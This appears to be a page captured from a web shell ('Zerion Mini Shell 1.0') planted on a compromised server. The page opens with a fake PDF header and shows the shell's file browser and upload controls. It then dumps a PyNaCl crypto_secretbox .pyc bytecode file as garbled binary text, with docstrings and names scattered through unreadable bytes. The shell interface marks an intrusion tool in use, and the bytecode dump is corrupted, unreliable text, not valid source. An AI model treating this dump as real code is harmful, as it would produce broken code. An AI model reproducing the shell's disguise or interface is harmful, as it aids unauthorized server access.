%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/nacl/bindings/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/nacl/bindings/__pycache__/crypto_secretbox.cpython-312.pyc

�

�fb��f�UddlmZddlmZmZddlmZej�Z	e
ed<ej�Z
e
ed<ej�Ze
ed<ej �Ze
ed<ej$�Ze
ed<ej(�Ze
ed	<d
ededed
efd�Zdededed
efd�Zy)�)�
exceptions)�ffi�lib)�ensure�crypto_secretbox_KEYBYTES�crypto_secretbox_NONCEBYTES�crypto_secretbox_ZEROBYTES�crypto_secretbox_BOXZEROBYTES�crypto_secretbox_MACBYTES�!crypto_secretbox_MESSAGEBYTES_MAX�message�nonce�key�returnc���t|�tk7rtjd��t|�tk7rtjd��dt
z|z}t
jdt|��}tj||t|�||�}t|dk(dtj��t
j|t|��}|tdS)	z�
    Encrypts and returns the message ``message`` with the secret ``key`` and
    the nonce ``nonce``.

    :param message: bytes
    :param nonce: bytes
    :param key: bytes
    :rtype: bytes
    �Invalid key�
Invalid nonce��unsigned char[]rzEncryption failed��raisingN)�lenr�exc�
ValueErrorrr	r�newr�crypto_secretboxr�CryptoError�bufferr
)r
rr�padded�
ciphertext�ress      �@/usr/lib/python3/dist-packages/nacl/bindings/crypto_secretbox.pyrrs����3�x�,�,��n�n�]�+�+�
�5�z�0�0��n�n�_�-�-�
�1�
1�G�
;�F����*�C��K�8�J�

�
�
�z�6�3�v�;��s�
K�C�
�3�!�8�(�#�/�/�B����J��F��4�J��3�4�5�5�r c���t|�tk7rtjd��t|�tk7rtjd��dt
z|z}t
jdt|��}tj||t|�||�}t|dk(dtj��t
j|t|��}|tdS)	z�
    Decrypt and returns the encrypted message ``ciphertext`` with the secret
    ``key`` and the nonce ``nonce``.

    :param ciphertext: bytes
    :param nonce: bytes
    :param key: bytes
    :rtype: bytes
    rrrrrz1Decryption failed. Ciphertext failed verificationrN)rrrrrr
rrr�crypto_secretbox_openrrrr	)r rrr�	plaintextr!s      r"r%r%9s����3�x�,�,��n�n�]�+�+�
�5�z�0�0��n�n�_�-�-�
�4�
4�z�
A�F����)�3�v�;�7�I�

�
#�
#�I�v�s�6�{�E�3�
O�C�
��q��;������
�
�9�c�&�k�2�I��/�0�1�1r#N)�naclrr�nacl._sodiumrr�nacl.exceptionsr�crypto_secretbox_keybytesr�int�__annotations__�crypto_secretbox_noncebytesr�crypto_secretbox_zerobytesr	�crypto_secretbox_boxzerobytesr
�crypto_secretbox_macbytesr�!crypto_secretbox_messagebytes_maxr�bytesrr%�r#r"�<module>r4s��� #�!�"�"?��!>�!>�!@��3�@�#B�3�#B�#B�#D��S�D�"@�#�"@�"@�"B��C�B�%F�S�%F�%F�%H��s�H�!>��!>�!>�!@��3�@�)�C�)�)�+�"�3��
6�e�6�E�6��6�%�6�42��2�#�2�*/�2�
�2r#

Zerion Mini Shell 1.0